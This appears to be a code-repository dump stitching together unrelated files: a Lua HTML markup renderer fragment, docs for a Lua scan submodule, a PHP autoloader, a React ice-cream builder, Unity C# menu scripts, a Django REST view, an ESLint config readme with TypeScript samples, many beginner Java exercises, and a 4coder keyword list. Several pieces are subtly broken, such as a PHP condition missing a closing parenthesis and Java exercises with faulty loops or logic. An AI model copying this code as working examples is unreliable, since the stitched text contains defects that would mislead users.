.. "href=\"" .. tostring(link) .. "\">"
.. inlines_to_html(inline.content, options)
.. "</a>"
else
return format_error("no reference link for '" .. inline.reference .. "'")
end
else
return error("internal markup error: unknown inline type (" .. tostring(inline.type) .. ")", 0)
end
end
function list_elements(items, options)
local lastIndent = items[1].level
local baseIndent = lastIndent
local s = list_item_to_html(items[1], options)
local function line(content)
s = s .. "\n" .. markup.util.indent(content, lastIndent - baseIndent)
end
for i = 2, #items do
for _ = lastIndent, math.max(items[i].level, baseIndent) - 1 do
line("<ul class=\"" .. markup.html.class(HTML_LIST) .. "\">"); lastIndent = lastIndent + 1; end
for _ = math.max(items[i].level, baseIndent), lastIndent - 1 do
lastIndent = lastIndent - 1; line("</ul>"); end
line(list_item_to_html(items[i]))
end
for i = baseIndent, lastIndent - 1 do
lastIndent = lastIndent - 1; line("</ul>"); end
return s
end
function list_item_to_html(li, options)
return "<li class=\"" .. markup.html.class(HTML_LIST_ITEM) .. "\">\n"
.. markup.util.indent(inlines_to_html(li.content, options))
.. "\n</li>"
end
function format_error(err)
return "<span class=\"" .. markup.html.class(HTML_FORMAT_ERROR) .. "\">< " .. markup.util.html_escape(err) .. " ></span>"
end
function block_format_error(err)
return "<p class=\"" .. markup.html.class(HTML_FORMAT_ERROR, HTML_BLOCK) .. "\">< " .. markup.util.html_escape(err) .. " ></p>"
end
markup.util.map = map
markup.util.get = get
markup.util.flat_map = flat_map
markup.util.index_of = index_of
markup.util.pattern_escape = pattern_escape
markup.util.last = last
markup.util.indent = indent
url_escape_table = {}
for i = 0, 255 do
url_escape_table[string.char(i)] = "%" .. ("%02X"):format(i)
end
return markup
<file_sep>/docs/scan.md
# Scan submodule
The `scan` submodule provides functions for scanning through documents and finding particular nodes. It relies heavily on the [filter](docs/filter.md) submodule.
All parameters or fields named `filter` have type `filter`, from the `filter` submodule. In addition, all parameters named `scan_type` must equal either `markup.scan.document` or `markup.scan.text`.
## Library
> Note that for all functions below, `document` has type `block_node[]` (i.e. the result of `markup.parse()`), but for text variants, this parameter also accepts `inline_node[]` (i.e. the result of `markup.parse_text()`).
### markup.scan.document
```
markup.scan.document(document, (block_node -> void) f, table options)
```
where `options` is a table with optional fields
```
(block_node -> boolean) filter
boolean no_filter_stop
boolean deep_scan
```
Scans a document, calling `f` for all block nodes scanned. A node will only be scanned if the filter matches the node. If the filter fails for a node, and $`no_filter_stop` is `true`, all scanning will stop. If $`deep_scan` is `true`, children of nodes will also be scanned (after the parent).
> $`deep_scan` defaults to `true`
### markup.scan.text
```
markup.scan.text(document, (inline_node -> void) f, options)
```
where `options` is a table with optional fields
```
(block_node -> boolean) block_filter
(inline_node -> boolean) filter
boolean no_filter_stop
boolean deep_scan
```
Works similarly to [`markup.scan.document`](#markup-scan-document), but for inlines. $`block_filter` may be used to filter the block nodes for which inlines will be sourced from.
### markup.scan.find\_first
```
block_node? markup.scan.find_first(scan_type, document, filter, boolean deep_scan)
```
Returns the first node matching the filter.
### markup.scan.find\_all
```
block_node[] markup.scan.find_all(scan_type, document, filter, boolean deep_scan)
```
Returns all nodes matching the filter.
| 3c2c22d94cc500c3fe369d2f4334a3376e2be1c1 | [
"Markdown",
"Lua"
] | 9 | Markdown | exerro/markup-parser | 15599c92d2a755a081038c5ff3c139174a86f771 | b88f78fa05bd09bde2f666355dd38da7ee694fd4 |
refs/heads/master | <file_sep><?php
//
function __autoload($className)
{
// echo $className;
$className = str_replace('\\','/', $className);
//检测
if(file_exists('./A/'.$className.'.php')){
include './A/'.$className.'.php';
}else if(file_exists('./Libs/'.$className.'.php') {
include './Libs/'.$className.'.php';
}
}
// $obj = new \Libs\Org\Vcode;
// var_dump($obj);
$upload = new \B\C\Upload;
var_dump($upload);
| 87b10263763663f12f49ebdd88cba26a46b53389 | [
"PHP"
] | 1 | PHP | songone/laravel | 895be314f4a965a897069075a9402e43f4ead5c7 | cd3413edafcd5be9cb8fb39cc559790e085a187f |
refs/heads/master | <repo_name>onikd08/icecream<file_sep>/src/containers/IceCreamBuilder/IceCreamBuilder.jsx
import React, { Component } from 'react';
import classes from './IceCreamBuilder.module.css';
import Builder from '../../components/Builder/Builder';
import IceCream from '../../components/IceCream/IceCream';
import Modal from '../../components/Builder/Modal/Modal';
export default class IceCreamBuilder extends Component {
state = {
items: {},
scoops: [],
totalPrice: 0,
};
componentDidMount() {
fetch('https://ice-creambuilder-default-rtdb.firebaseio.com/items.json')
.then(response => response.json()
.then((responseData) => {
// console.log(responseData);
this.setState({
items: responseData
})
}));
}
addScoop = (scoop) => {
const { scoops, items } = this.state;
const workingScoops = [...scoops];
workingScoops.push(scoop);
this.setState((previousState) => {
return {
scoops: workingScoops,
totalPrice: previousState.totalPrice + items[scoop],
}
});
};
removeScoop = (scoop) => {
const { scoops, items } = this.state;
const workingScoops = [...scoops];
//console.log(scoops);
const scoopIndex = workingScoops.findIndex((sc) => sc === scoop);
if (scoopIndex > -1) {
workingScoops.splice(scoopIndex, 1)
// console.log(workingScoops, scoopIndex);
this.setState((prevState) => {
//console.log(prevState)
return {
scoops: workingScoops,
totalPrice: prevState.totalPrice - items[scoop],
};
});
}
};
render() {
return (
<div className={['container', classes.container].join(' ')}>
<IceCream scoops={this.state.scoops} />
<Builder
items={this.state.items}
price={this.state.totalPrice}
add={this.addScoop}
remove={this.removeScoop}
scoops={this.state.scoops}
/>
<Modal
scoops={this.state.scoops}
price={this.state.totalPrice}
/>
</div>
)
}
} | 477bf73087443f3c45ae1cb8e2aafe09f599fbba | [
"JavaScript"
] | 1 | JavaScript | onikd08/icecream | b445da29205713d38b9939850ea8cb584526ab5b | c483c22189ddabea5048a0078a7e30e8279356a5 |
refs/heads/master | <repo_name>LilankaUdawatta/01<file_sep>/readme.txt
How to run & test samples:
http://www.cnblogs.com/answerwinner/p/4590981.html
Full documents is here:
http://www.cnblogs.com/answerwinner/p/4591144.html
How to run JavaScript Binding samples(in case online documents fail to open)
---------------------------------------------------------------------------------------
First of course, create an empty project and import JSBinding package.
In Build Settings dialog, switch platform to PC, Mac & Linux Standalone.
If you are on Windows, you have to copy DLL to unity install directory:
1. for 32bit editor: copy Assets/Plugins/x86/mozjs-31.dll to UnityInstallDir/Editor folder
2. for 64bit editor: copy Assets/Plugins/x86_64/mozjs-31.dll to UnityInstallDir/Editor folder
If you are running Windows exe, you have to copy(or move) mozjs-31.dll to the folder containing .exe.
Follow these steps:
1. Click menu Assets | JavaScript | Gen Bindings
2. Open scene JSBinding/Samples/2048/2048.unity.
3. Click play button and enjoy it!
---------------------------------------------------------------------------------------<file_sep>/ScanUIManager.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class ScanUIManager : MonoBehaviour {
public GameObject menuButton;
public GameObject ScreeSpaceCloseProfileButton, ProfileButton, SupportButton, AboutUsButton, SignoutButton, CloseButton;
//Menu Animation
public void DissableBoolAnimator(Animator anim)
{
anim.SetBool ("IsDisplayed", false);
ScreeSpaceCloseProfileButton.SetActive(false);
Invoke("MenuButtonEnable", 0.5f);
ScanUIButtonsDisable();
}
public void EnableBoolAnimator(Animator anim)
{
anim.SetBool ("IsDisplayed", true);
menuButton.SetActive(false);
ScreeSpaceCloseProfileButton.SetActive(true);
Invoke("ScanUIButtonsEnable", 0.5f);
}
private void ScanUIButtonsEnable()
{
ProfileButton.SetActive(true);
SupportButton.SetActive(true);
AboutUsButton.SetActive(true);
SignoutButton.SetActive(true);
CloseButton.SetActive(true);
}
private void ScanUIButtonsDisable()
{
ProfileButton.SetActive(false);
SupportButton.SetActive(false);
AboutUsButton.SetActive(false);
SignoutButton.SetActive(false);
CloseButton.SetActive(false);
}
private void MenuButtonEnable()
{
menuButton.SetActive(true);
}
public void ExitGame()
{
Application.Quit ();
}
}
<file_sep>/SignOutScript.cs
using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.SceneManagement;
public class SignOutScript : MonoBehaviour {
public void start()
{
SceneManager.LoadScene("Landing Page");
}
}
<file_sep>/LoaderScript.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class LoaderScript : MonoBehaviour {
//Loading effect
public bool loading = false;
public Texture loadingTexture;
public float size = 250.0f;
private float rotAngle = 0.0f;
public float rotSpeed = 1.0f;
private float angles = 0.0f;//
void Update (){
if(loading){
rotAngle += rotSpeed * Time.deltaTime;
}
}
void OnGUI (){
if(loading){
Vector2 pivot = new Vector2(Screen.width/2, Screen.height/2);
GUIUtility.RotateAroundPivot(rotAngle%360,pivot);
GUI.DrawTexture( new Rect((Screen.width - size)/2 , (Screen.height - size)/2, size, size), loadingTexture);
}
}
} | 04b81bd4497eeaa1eca46efa5d52d4c88d97ef59 | [
"C#",
"Text"
] | 4 | Text | LilankaUdawatta/01 | d03f30426bab9a0d0e754abc57fa295f7366a58a | 326812c26910a17ce2a090a8ca99e0ce85f75113 |
refs/heads/main | <file_sep>from django.shortcuts import render
from django.http import HttpResponse
from rest_framework.views import APIView
from django.shortcuts import get_object_or_404
from rest_framework.response import Response
from rest_framework import status
from .models import employees
from .serializers import employeesSerializer
class employeeList(APIView):
def get(self,request):
employees1 = employees.objects.all()
#conver to json using serialzer
serializer = employeesSerializer(employees1, many = True)
return Response(serializer.data)
def post(self):
pass | 811c2b34567a3d4e9c905adc19c685dc4977c6d1 | [
"Python"
] | 1 | Python | aniketbalkhande/django3-rest-framework-api-app | 7d2acbc349a9af7571b314591a6c7a453b5ab4b7 | e38f99686bda39b6a88813578e4e755da7846473 |
refs/heads/master | <file_sep>export default interface Test {
test: string;
}
export interface SecondTest {
test: string;
}
<file_sep>import Test from './interface';
/**
* Class description doc
*/
class User {
public author: User = null;
public list: Array<User>;
public list2: User[];
private test: Test;
/**
* @typescript-eslint/explicit-member-accessibility option overrides constructors no-public
*/
constructor() {
this.author = null;
}
/**
* Public method should be placed abode the private and below the constructor
* @param adad - ads
*/
public hello(): void {
console.log('hello');
}
/**
* Method without access modifier
*/
public mutate(): void {
/**
* newline-per-chained-call
*/
Promise.resolve()
.then()
.then();
}
/**
* TSDoc
*/
public undocumentedMethod(): void {
console.log('undocumentedMethod');
}
/**
* @param {string} eventId
* @return {string}
*/
async getEventLastRepetition(eventId) {
return 'aa';
}
/**
* Private method should be placed below the public
* @param aa
*/
private mute(aa): { a: number; b: string } {
/**
* object-property-newline
* comma-dangle
*/
const obj = {
a: 1,
b: 'op',
};
/**
* curly
*/
if (obj.a === 1) {
return;
}
/**
*
*/
obj.b = `adad ${obj.a}`;
return obj;
}
}
<file_sep>const user = require('user.ts');
class User {
/**
* @param {string} eventId
* @return {string}
*/
async getEventLastRepetition(eventId) {
return 'aa';
}
}
<file_sep># CodeX basic ESLint configuration
## Install
Add package to your dev-dependencies using npm or yarn:
```bash
$ npm i -D eslint-config-codex eslint
$ yarn add -D eslint-config-codex eslint
```
## Usage in JavaScript
Add `.eslintrc` file to your project's root if you don't have it.
```bash
./node_modules/.bin/eslint init
```
Then add the `extends` section to there:
```json
{
"extends": [
"codex"
]
}
```
## Usage in TypeScript
1. Follow instructions for JavaScript
2. Extend from `codex/ts` instead of `codex`
```json
{
"extends": [
"codex/ts"
]
}
```
## Troubleshooting
### ESLint couldn't determine the plugin ... uniquely
Since 7.x ESLint loads plugins from the location of each config file which has the `plugins` field. Resolve this issue by adding the root flag to your `.eslintrc` config
```
{
"root": true
}
```
[Issue](https://github.com/codex-team/eslint-config/issues/25) | [Discussion](https://github.com/eslint/eslint/issues/13385#issuecomment-641252879) | fde0b41ac798a0c2a1155fb8ee30b8d3759c0d1b | [
"JavaScript",
"TypeScript",
"Markdown"
] | 4 | TypeScript | codex-team/eslint-config | 58bf5d644e2b6d2adc8331e9c94f2f177d1ed81c | ccdd1e392e4f459b5241baa94b4e02b43f1bbe4d |
refs/heads/master | <file_sep>package com.history.service.impl;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import javax.annotation.Resource;
import org.springframework.stereotype.Service;
import com.history.entity.UsersEntity;
import com.history.mapper.UsersMapper;
import com.history.service.UsersService;
@Service
public class UsersServiceImpl implements UsersService{
@Resource
private UsersMapper usersMapper;
@Override
public List<UsersEntity> selcetUsersList() {
return null;
}
@Override
public Map<String, Object> getUsersByUsername(String username) {
Map<String, Object> user = new HashMap<String, Object>();
try {
user = usersMapper.selectUserByUsername(username);
} catch (Exception e) {
e.printStackTrace();
}
return user;
}
}
| f0536a4a6ceb2b3404e7be5d4e49e22a6b916419 | [
"Java"
] | 1 | Java | iamduckegg/history | 6b9f1aa65f256f2e8dc6a6b91c4cb39dea7676d3 | ca9829186833e46191dd9555d6068eb596ce223d |
refs/heads/main | <repo_name>adams1508/nauka-java<file_sep>/src/main/lessons/Metoda_isEven.java
package main.lessons;
class ChkNum {
// metoda isEven z jedym parametrem "int x", wyświetla tylko true
boolean isEven(int x) {
if ((x % 2) == 0) return true;
else return false;
}
}
class ParmDemo {
public static void main(String[] args) {
ChkNum e = new ChkNum();
if (e.isEven(10)) System.out.println("10 jest parzyste.");
if (e.isEven(9)) System.out.println("9 jest nieparzyste");
// powyższe false
if (e.isEven(8)) System.out.println("8 jest parzyste");
if (e.isEven(7)) System.out.println("7 jest nieparzyste");
// powyższe false
}
}
<file_sep>/src/main/kwadraty/Square.java
package main.kwadraty;
public class Square {
// pola- właściwości klasy
private double side;
// konstruktor- sposób tworzenia obiektu danej klasy
public Square(double side) {
this.side = side;
}
// metody- dostępne operacje na danej klasie
public double getSide() {
return this.side;
}
public void setSide(double side) {
this.side = side;
}
public double getField() {
return side * side;
}
}
<file_sep>/src/main/lessons/Operacje_String.java
package main.lessons;
public class Operacje_String {
public static void main(String[] args) {
String zadania = "Zadania z programowania.";
System.out.println("Zadania z programowania.");
System.out.println("Zadania z programowania.".charAt(0));
System.out.println("Zadania z programowania.".length());
System.out.println("Zadania z programowania.".charAt(23));
System.out.println("Zadania z programowania.".toUpperCase());
System.out.println("Zadania z programowania.".toLowerCase());
System.out.println("Zadania z programowania.".indexOf('z'));
System.out.println("Zadania z programowania.".indexOf("prog"));
System.out.println("Zadania z programowania.".replace('.', '?'));
System.out.println("Zadania z programowania.".replace("adania", "dania"));
System.out.println("Zadania z programowania.".replaceAll("ania", "anka"));
System.out.println("Zadania z programowania.".replaceFirst("ania", "anka"));
System.out.println("Zadania z programowania.".substring(10));
System.out.println("Zadania z programowania.".substring(10, 17));
System.out.println("Zadania z programowania.".concat("\b z podpowiedziami."));
System.out.println("Zadania z programowania." + "\b" + " z odpowiedziami");
}
}
<file_sep>/src/main/lessons/D002_Warunki.java
package main.lessons;
public class D002_Warunki {
public static void main(String[] args) {
int cenaZaMargharite= 18;
int cenaZaCappriccioze= 21;
boolean isCapricciosaMoreExpensive = cenaZaCappriccioze > cenaZaMargharite;
if (isCapricciosaMoreExpensive) {
System.out.println("Cappriccioza jest droższa");
} else {
System.out.println("Margharita jest droższa");
}
}
}
<file_sep>/src/main/lessons/d20210428/Main.java
package main.lessons.d20210428;
public class Main {
public static void main(String[] args) {
Country france = new Country("France", 62_240_000, 643_801.0);
Country greatBritain = new Country("Great Britain", 59_500_000, 242_495.0);
Country germany = new Country("Germany", 81_540_000, 357_386.0);
Country italy = new Country("Italy", 57_130_000, 301_340.0);
Country poland = new Country("Poland", 38_190_000, 312_679.0);
Country[] euCountries = {france, greatBritain, germany, italy};
Country[] euCountries2004 = new Country[euCountries.length + 1];
for (int i = 0; i < euCountries.length; i++) {
euCountries2004[i] = euCountries[i];
}
euCountries2004[euCountries2004.length - 1] = poland;
Country[] countries = {france, germany};
countries = addCountry(countries, poland);
System.out.println(countries[0].getName());
System.out.println(countries[1].getName());
System.out.println(countries[2].getName());
removeCountry(countries, germany);
System.err.println(countries[0]);
System.err.println(countries[1]);
System.err.println(countries[2]);
}
public static Country[] addCountry(Country[] countries, Country countryToAdd) {
Country[] newCountries = new Country[countries.length + 1];
for (int i = 0; i < countries.length; i++) {
newCountries[i] = countries[i];
}
newCountries[newCountries.length - 1] = countryToAdd;
return newCountries;
}
public static void removeCountry(Country[] countries, Country countryToRemove) {
for (int i = 0; i < countries.length; i++) {
if (countries[i].getName().equals(countryToRemove.getName())) {
countries[i] = null;
}
}
}
}
<file_sep>/src/main/tasks/Z003_Galony.java
package main.tasks;
public class Z003_Galony {
public static void main(String args[]) {
// 1 galon= 3.7854 l
double gallons;
double liters;
gallons = 10;
liters = gallons * 3.7854;
System.out.println("10 galonow odpowiada " + liters + " litrom");
}
}
<file_sep>/src/main/lessons/Switch.java
package main.lessons;
public class Switch {
public static void main(String args[]) {
int i;
for (i = 0; i < 5; i++) {
switch (i) {
case 0:
System.out.println("i równe 0");
case 1:
System.out.println("i równe 1");
case 2:
System.out.println("i równe 2");
case 3:
System.out.println("i równe 3");
case 4:
System.out.println("i równe 4");
}
System.out.println("i równe 5 lub więcej\n");
}
}
}
<file_sep>/src/main/lessons/Wczytywanie_z_klawiatury.java
package main.lessons;
public class Wczytywanie_z_klawiatury {
public static void main(String args[])
throws java.io.IOException {
char ch, answer = 'R';
System.out.println("Pomyślałem literę z przedziału od A do Z");
System.out.println("Spróbuj ją odgadnąć");
ch = (char) System.in.read();
if (ch == answer) System.out.println("** Dobrze **");
else {
System.out.print("...Niestety,");
if (ch < answer) System.out.println("zbyt nisko");
else System.out.println("za wysoko");
}
}
}
<file_sep>/src/main/lessons/d20210428/Country.java
package main.lessons.d20210428;
public class Country {
private String name;
private long population;
private double areaInKm;
public Country(String name, long population, double areaInKm ){
this.name= name;
this.population= population;
this.areaInKm= areaInKm;
}
public String getName(){
return this.name;
}
public long getPopulation(){
return this.population;
}
public double getAreaInKm() {
return this.areaInKm;
}
public void setName(String name){
this.name=name;
}
public void setPopulation(long population){
this.population= population;
}
public void setAreaInKm(double areaInKm){
this.areaInKm= areaInKm;
}
}
<file_sep>/src/main/kwadraty/EquilateralTriangle.java
package main.kwadraty;
//trójkąt równoboczny
public class EquilateralTriangle {
private double sideLength;
public EquilateralTriangle(double sideLength) {
this.sideLength = sideLength;
}
public double getSideLength() {
return this.sideLength;
}
public void setSideLength(double sideLength) {
this.sideLength = sideLength;
}
public double getHeight(){
return this.sideLength*Math.sqrt(3)/2;
}
public double getField() {
return (sideLength * getHeight()) / 2;
}
}
<file_sep>/src/main/tasks/Z005_Petla.java
package main.tasks;
public class Z005_Petla {
public static void main(String args[]) {
int count;
for (count = 0; count < 5; count++) ;
System.out.println("count wynosi: " + count);
// zapytać Jarka czemu nie wyszła pętla :("
double gallons, liters;
int counter;
counter = 0;
for (gallons = 1; gallons <= 100; gallons++) {
liters = gallons * 3.7854;
System.out.println(gallons + " galonów to " + liters+ " litrów.");
counter++;
if (counter == 10) {
System.out.println();
counter= 0;
}
}
}
}
<file_sep>/src/main/javadziewiec/Z01_06.java
package main.javadziewiec;
import java.sql.PreparedStatement;
public class Z01_06 {
public static void main(String[] args) {
int integer = 5;
long factorial = getFactorialWithRecursion(integer);
System.out.println(factorial);
long factorial2= getFactorialWithIteration(integer);
System.out.println(factorial2);
}
// silnia za pomoca rekurencji
static long getFactorialWithRecursion(int integer) {
long factorial = 0L;
if (integer == 1) {
return 1;
}
for (int num = 1; num <= integer; num++) {
factorial = getFactorialWithRecursion(integer - 1) * integer;
}
return factorial;
}
//silnia za pomoca iteracji
static long getFactorialWithIteration(int integer) {
long factorial;
factorial = 1;
for (int num = 1; num <= integer; num++) {
factorial *= num;
}
return factorial;
}
}
<file_sep>/src/main/tasks/Z018_min_max.java
package main.tasks;
public class Z018_min_max {
public static void main(String[] args) {
int[] array = {12, 34, 21, 11, 76, 45, 98, 23, 9, 100};
// int[] array= new int[];
int min, max;
min = max = array[0];
for (int i = 0; i < array.length; i++) {
if (array[i] < min)
min = array[i];
if (array[i] > max)
max = array[i];
}
System.out.println("Min wynosi " + min);
System.out.println("Max wynosi " + max);
}
}
<file_sep>/src/main/tasks/Z007_tablica.java
package main.tasks;
import java.util.Arrays;
public class Z007_tablica {
public static void main(String[] args) {
// 1. wszystkie znaki pionowo
// indeks- pokazuje miejsce elementu, pierwszy ma wartość 0
char[] array = {'I', 'n', 'f', 'o', 'r', 'm', 'a', 't', 'y', 'k', 'a'};
for (int i = 0; i < array.length; i++) {
System.out.println(array[i]);
}
// 2. co drugi
System.out.println();
for (int i = 0; i < array.length; i += 2) {
System.out.println(array[i]);
}
// 3.
for (int i = 0; i < array.length; i++) {
System.out.print(array[i] + " ");
}
// Character.toUpperCase(ch);
System.out.println();
for (int i = 0; i < array.length; i++) {
System.out.print(Character.toUpperCase(array[i]));
}
System.out.println();
for (int i = 0; i < array.length; i++) {
System.out.print(Character.toLowerCase(array[i]));
}
for (char ch : array) {
System.out.println(ch);
}
System.out.println();
int[] intArray = new int[10];
// 1. w forze uzupelnic wszystkie 10 elementow o x*3
// 2. zliczyc z tego sume
// intArray[0] = 2;
for (int i = 0; i < intArray.length; i++) {
int valueToSet = i * 3;
intArray[i] = valueToSet;
}
System.out.println(intArray);
int sum = 0;
for (int i = 0; i < intArray.length; i++) {
System.out.println(sum);
sum += intArray[i];
}
System.out.println(sum);
}
}
<file_sep>/src/main/tasks/Z015_Operatory_Logiczne.java
package main.tasks;
public class Z015_Operatory_Logiczne {
public static void main(String[] args) {
boolean[] bool = {false, true};
System.out.println("Operator negacji (NOT) - !");
System.out.println(" p\t !p");
for (boolean p : bool)
System.out.println(p + "\t" + !p);
System.out.println();
System.out.println("Operator koniunkcji (AND) - & lub &&");
System.out.println(" p\t q\tp & q");
for (boolean p : bool) {
for (boolean q : bool)
System.out.println(p + "\t" + q + "\t" + (p & q));
System.out.println();
}
System.out.println("Operator alternatywy (OR)- | lub ||");
System.out.println(" p\t q\tp | q");
for (boolean p : bool) {
for (boolean q : bool)
System.out.println(p + "\t" + q + "\t" + (p | q));
System.out.println();
}
System.out.println("Operator wykluczający (XOR)- ^ lub ^^");
System.out.println(" p\t q\tp ^ q");
for (boolean p : bool) {
for (boolean q : bool)
System.out.println(p + "\t" + q + "\t" + (p ^ q));
System.out.println();
}
System.out.println("Operator nie jest równe- !=");
System.out.println(" p\t q\tp !=q");
for (boolean p : bool) {
for (boolean q : bool)
System.out.println(p + "\t" + q + "\t" + (p != q));
System.out.println();
}
System.out.println("Prawo wyłączonego środka- p || !p ");
System.out.println(" p\t !p\tp || !p");
for (boolean p : bool)
System.out.println(p + "\t" + !p + "\t" + (p || !p));
System.out.println();
System.out.println("Prawo niesprzeczności- !(p && !p)");
System.out.println(" p\t !p\tp && !p\t!(p && !p)");
for (boolean p:bool)
System.out.println(p + "\t" + !p + "\t" + (p && !p) + "\t" + !(p && !p));
System.out.println();
System.out.println("Prawo podwójnego przeczenia- !(!p)==p");
System.out.println("p\t !p\t!(!p)\t!(!p)==p");
for (boolean p:bool)
System.out.println(p + "\t" + !p + "\t" + !(!p) + "\t" + (!(!p)==p));
System.out.println();
}
}
<file_sep>/src/main/tasks/Z013_Osoba.java
package main.tasks;
import java.util.Locale;
public class Z013_Osoba {
public static void main (String[] args) {
String surname= "kowalska";
String name= "maria";
System.out.print("Nazwisko: ");
System.out.println(surname.substring(0,1).toUpperCase() + surname.substring(1).toLowerCase());
System.out.print("Imię: ");
System.out.println(name.substring(0,1).toUpperCase() + name.substring(1).toLowerCase());
System.out.print("Nazwisko i imię: ");
System.out.println(surname.toUpperCase() + " " + Character.toUpperCase(name.charAt(0)) + name.substring(1).toLowerCase());
System.out.print("Inicjały: ");
System.out.print(Character.toUpperCase(name.charAt(0)));
System.out.println(Character.toUpperCase(surname.charAt(0)));
System.out.print("Login: ");
System.out.print(surname.substring(0,2).toUpperCase());
System.out.println(name.substring(0,3).toLowerCase());
}
}<file_sep>/src/main/lessons/quicksortDemo/QsDemo.java
package main.lessons.quicksortDemo;
public class QsDemo {
public static void main(String[] args){
char[] array={'r','t','w','a','y','b','m','z','l'};
int i;
System.out.print("Tablica przed posortowaniem: ");
for (i=0; i< array.length; i++){
System.out.print(array[i]+ " ");
}
System.out.println();
Quicksort.qsort(array);
System.out.print("Tablica posortowana: ");
for (i=0; i< array.length; i++){
System.out.print(array[i] + " ");
}
}
}
<file_sep>/src/main/lessons/QueueDemo.java
package main.lessons;
public class QueueDemo {
public static void main(String[] args) {
Queue bigQ = new Queue(100);
Queue smallQ = new Queue(4);
char ch;
int i;
System.out.println("Używam kolejki bigQ do przechowywania alfabetu.");
for (i = 0; i < 26; i++)
bigQ.put((char) ('A' + 1));
System.out.print("Zawartość kolejki bigQ: ");
for (i = 0; i < 26; i++) {
ch = bigQ.get();
if (ch != (char) 0) System.out.print(ch);
}
System.out.println();
System.out.println("\nUżywam kolejki smallQ do wygenerowania błędów.");
for (i = 0; i < 5; i++) {
System.out.print("Próbuję umieśćić w kolejce znak " + (char) ('Z' - 1));
smallQ.put((char) ('Z' - 1));
System.out.println();
}
System.out.println();
System.out.print("Zawartość kolejki smallQ: ");
for (i = 0; i < 5; i++) {
ch = smallQ.get();
if (ch != (char) 0) System.out.print(ch);
}
}
}
<file_sep>/src/main/lessons/staticMeth/StaticMeth.java
package main.lessons.staticMeth;
public class StaticMeth {
static int val= 1024;
static int valDiv2(){
return val/2;
}
}
<file_sep>/src/main/lessons/typeConv/TypeConv.java
package main.lessons.typeConv;
public class TypeConv {
public static void main(String[] args){
Overload2 ob= new Overload2();
int i=10;
double d= 10.1;
byte b= 99;
short s= 10;
float f= 11.5F;
//program sam wybierze której metody przeciążonej wybrać na podstawie typu, do którego zostanie wykonana automatyczna konwersja
ob.f(i);
ob.f(d);
ob.f(b);
ob.f(s);
ob.f(f);
}
}
<file_sep>/src/main/lessons/d20210608/BWDemo.java
package main.lessons.d20210608;
public class BWDemo {
public static void main(String[] args){
Backwards s=new Backwards("To jest test");
s.backwards(0);
}
}
<file_sep>/src/main/lessons/d20210505/Main.java
package main.lessons.d20210505;
public class Main {
public static void main(String[] args) {
PodR6Z3_Stack stack=new PodR6Z3_Stack();
stack.push('k');
System.out.println(stack.getArray());
stack.push('y');
stack.push('l');
stack.push('q');
System.out.println(stack.getArray());
stack.pop();
stack.pop();
System.out.println(stack.getArray());
}
}
<file_sep>/src/main/javadziewiec/Z01_03.java
package main.javadziewiec;
import java.io.IOException;
public class Z01_03 {
public static void main(String[] args)
throws IOException {
int key = System.in.read();
int key1 = System.in.read();
int key2 = System.in.read();
int[] array = new int[3];
array[0] = key;
array[1]= key1;
array[2]= key2;
int max= getMax(array);
System.out.println(max);
}
static int getMax(int[] array) {
int max = array[0];
for (int num : array) {
if (num > max)
max = num;
}
return max;
}
}
<file_sep>/src/main/tasks/Z001.java
package main.tasks;
public class Z001 {
public static void main(String[] args) {
// oblicz swoją wagę na ksieżycu ( 17% wagi ziemskiej)
float myWeight = 71.6f;
int myWeight2 = 71;
float gravity = 0.17f;
System.out.println("Moja waga na Księżycu to: " + myWeight2 * gravity + " kg");
System.out.println("Jeden\nDwa\nTrzy" );
}
}
<file_sep>/src/main/kwadraty/Trapeze.java
package main.kwadraty;
public class Trapeze {
private double basisA;
private double basisB;
private double height;
public Trapeze(double basisA, double basisB, double height) {
this.basisA = basisA;
this.basisB = basisB;
this.height = height;
}
public double getBasisA() {
return this.basisA;
}
public double getBasisB() {
return this.basisB;
}
public double getHeight() {
return this.height;
}
public void setBasisA(double basisA) {
this.basisA = basisA;
}
public void setBasisB(double basisB) {
this.basisB = basisB;
}
public void setHeight(double height) {
this.height = height;
}
public double getField() {
return 0.5 * (basisA + basisB) * height;
}
}
<file_sep>/src/main/lessons/staticBlock/StaticBlock.java
package main.lessons.staticBlock;
public class StaticBlock {
static double root0f2;
static double root0f3;
static {
System.out.println("Wewnątrz bloku static");
root0f2 = Math.sqrt(2.0);
root0f3 = Math.sqrt(3.0);
}
public StaticBlock(String mgs){
System.out.println(mgs);
}
}
<file_sep>/src/main/lessons/d20210505/PodR6Z3_Stack.java
package main.lessons.d20210505;
public class PodR6Z3_Stack {
char[] array = new char[1];
public PodR6Z3_Stack() {
}
public void pop() {
char[] newArray = new char[array.length - 1];
for (int i = 0; i < array.length - 1; i++) {
newArray[i] = array[i];
}
this.array = newArray;
}
public void push(char ch) {
char[] newArray = new char[array.length + 1];
for (int i = 0; i < array.length; i++) {
newArray[i] = array[i];
}
newArray[newArray.length - 1] = ch;
this.array = newArray;
}
public char[] getArray(){
return this.array;
}
}
<file_sep>/src/main/lessons/d20210608/SumIt.java
package main.lessons.d20210608;
public class SumIt {
int sum(int...n){
int result=0;
for (int i=0; i<n.length; i++){
result+=n[i];
}
return result;
}
}
| 427ac8ea3eaf03ab340f675e34281946de456ca2 | [
"Java"
] | 28 | Java | adams1508/nauka-java | 5dba2b7d625056fb8b65046b876bbea038513e7b | 027a91779260a2d4655def1fbf65500b3a248644 |
refs/heads/master | <repo_name>PowerTravel/4coder<file_sep>/keyWords.h
string_u8_litexpr( "c8" ), finalize_color( defcolor_keyword, 0 ),
string_u8_litexpr( "u8" ), finalize_color( defcolor_keyword, 0 ),
string_u8_litexpr( "u16" ), finalize_color( defcolor_keyword, 0 ),
string_u8_litexpr( "u32" ), finalize_color( defcolor_keyword, 0 ),
string_u8_litexpr( "u64" ), finalize_color( defcolor_keyword, 0 ),
string_u8_litexpr( "s8" ), finalize_color( defcolor_keyword, 0 ),
string_u8_litexpr( "s16" ), finalize_color( defcolor_keyword, 0 ),
string_u8_litexpr( "s32" ), finalize_color( defcolor_keyword, 0 ),
string_u8_litexpr( "s64" ), finalize_color( defcolor_keyword, 0 ),
string_u8_litexpr( "r32" ), finalize_color( defcolor_keyword, 0 ),
string_u8_litexpr( "r64" ), finalize_color( defcolor_keyword, 0 ),
string_u8_litexpr( "v2" ), finalize_color( defcolor_keyword, 0 ),
string_u8_litexpr( "v3" ), finalize_color( defcolor_keyword, 0 ),
